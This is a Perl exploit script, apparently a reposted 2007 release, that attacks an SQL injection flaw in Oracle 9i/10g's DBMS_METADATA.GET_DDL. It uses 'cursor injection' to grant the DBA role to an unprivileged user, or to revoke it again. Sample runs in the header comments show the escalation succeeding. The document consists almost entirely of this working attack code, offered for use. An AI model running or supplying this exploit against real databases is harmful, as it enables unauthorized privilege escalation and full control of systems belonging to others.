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Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit v2
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来源：http://rawlab.mindcreations.com 作者：Andrea 发布时间：2007-02-27
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#!/usr/bin/perl
#
# Remote Oracle DBMS_METADATA.GET_DDL exploit (9i/10g)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privileg needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF: http://www.securityfocus.com/bid/16287
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Fri Feb 26 12:32:55 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_meta_get_ddlV2.pl line 69.
# [-] Done!
#
# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [-] Creating evil cursor...
# Cursor: 2
# [-] Go ...(don't worry about errors)!
# DBD::Oracle::st execute failed: ORA-31600: invalid input value '||dbms_sql.execute(2)||' for parameter OBJECT_TYPE in function GET_DDL
# ORA-06512: at "SYS.DBMS_METADATA", line 2576
# ORA-06512: at "SYS.DBMS_METADATA", line 2627
# ORA-06512: at "SYS.DBMS_METADATA", line 4220
# ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement "
# DECLARE
# R CLOB;
# BEGIN
# R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute(2)||''','');
# END;
# "] at dbms_meta_get_ddlV2.pl line 101.
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
sub usage {
print <<"USAGE";
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";
$dbh->func( 1000000, 'dbms_output_enable' );
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil cursor...\n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$line\n";
if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
}
$sth->finish;
print "[-] Go ...(don't worry about errors)!\n";
$sth = $dbh->prepare(qq{
DECLARE
R CLOB;
BEGIN
R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute($cursor)||''','');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
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